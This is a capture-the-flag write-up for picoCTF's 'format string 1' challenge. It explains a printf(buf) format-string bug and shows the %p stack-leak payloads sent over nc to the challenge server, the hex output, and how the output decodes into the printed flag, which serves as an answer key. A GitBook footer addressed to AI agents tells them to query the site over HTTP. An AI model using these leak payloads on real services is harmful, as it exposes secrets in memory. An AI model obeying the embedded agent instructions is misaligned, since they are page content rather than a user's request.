> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string-1.md).

# format string 1

The program looks like a simple “order reader”, but the real issue starts here:

```c
scanf("%1024s", buf);
printf(buf);
```

Instead of doing `printf("%s", buf)`, the program directly passes user input as the format string. This means whatever you type is treated as a **printf format string**, not normal text.

Inside the program, there are important values already stored in memory:

```c
char secret1[64];
char flag[64];
char secret2[64];
```

These are read from files and kept on the stack. The key idea is that even though the program never prints them, they are still sitting in memory and can be leaked.

Because `printf(buf)` is vulnerable, we can use format specifiers like:

```
%x  → leak stack values
%p  → leak pointers
%s  → print memory as string
```

So if we enter something like:

```
AAAA %p %p %p %p
```

the program will start printing values from the stack, slowly revealing memory contents. By increasing the number of format specifiers, we can locate where `flag`, `secret1`, and `secret2` are stored on the stack.

A more powerful trick is using positional format specifiers:

```
%7$s
```

This tells `printf` to treat the 7th stack argument as a pointer and print it as a string. If we find the correct index where `flag` is located, we can directly leak it.

So the exploitation flow is:

First, we probe the stack using:

```bash
AAAA %p %p %p %p %p %p %p
```

Then we identify which position contains useful data. After mapping the stack layout, we try:

```bash
%<n>$s
```

until the program prints something meaningful like part of the flag.

At first, a normal payload like:

```bash
AAAA %p %p %p
```

does not work because the input is taken using `scanf("%s", buf)`, which stops reading at spaces. So only `AAAA` is stored, and the rest is ignored. To fix this, we avoid spaces and use separators like commas:

```bash
nc mimas.picoctf.net 63070
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
```

This successfully prints stack values:

```
0x402118,(nil),0x7af5ea478a00,(nil),...,0x7b4654436f636970,0x355f31346d316e34,...
```

While analyzing this output, we notice some values that do not look like normal pointers, such as:

```
0x7b4654436f636970
0x355f31346d316e34
0x3478345f33317937
0x35365f673431665f
0x7d313464303935
```

These are actually parts of the flag stored in memory. Instead of pointers, they represent ASCII characters encoded in hexadecimal. Since the system is little-endian, each value appears reversed in memory.

To extract the flag, we take each hex value, split it into bytes, reverse the order, and convert it to ASCII. For example:

```
0x7b4654436f636970 → 70 69 63 6f 43 54 46 7b → picoCTF{
```

Repeating this process for all chunks gives:

```
picoCTF{4n1m41_5_7y13_4x4_f14g_65590d41}
```

So the full exploitation process is:

```bash
nc mimas.picoctf.net 63070
%p,%p,%p,%p,%p,...   ← leak stack
identify hex values  ← locate flag chunks
decode little-endian ← reconstruct flag
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.